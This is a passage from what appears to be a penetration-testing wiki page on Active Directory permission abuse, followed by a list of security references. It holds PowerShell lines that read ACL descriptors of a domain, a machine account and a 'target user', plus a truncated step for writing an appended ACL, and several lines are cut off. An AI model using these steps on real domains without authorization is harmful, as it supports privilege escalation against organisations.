System.DirectoryServices.DirectoryEntry("LDAP://DC=domain,DC=local")).psbase.ObjectSecurity.sddl
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=machine-
user1,CN=Computers,DC=domain,DC=local")).psbase.ObjectSecurity.sddl
For the target user :
(New-Object
System.DirectoryServices.DirectoryEntry("LDAP://CN=user2,CN=Users,DC=domain,DC=local")).psbase.ObjectS
(New-Object
System.DirectoryServices.DirectoryEntry("LDAP://CN=Sites,CN=Configuration,DC=domain,DC=local")).psbase
/value:<newACL_after_the_append>
References
The Hacker Recipes
Pentester Academy
PayloadAllTheThings
New version
Cube0x0
HackTricks
Haax
SpecterOps
Semperis
TrustedSec
BloodHound
Dirk-jan Mollema
Snovvcrash
Exploit.ph
Adam Chester
Oliver Lyak
Pentestlab.blog
Masky release
Revision #33
Created 15 June 2021 19:52:58 by BlackWasp
Updated 7 March 2023 22:45:15 by BlackWasp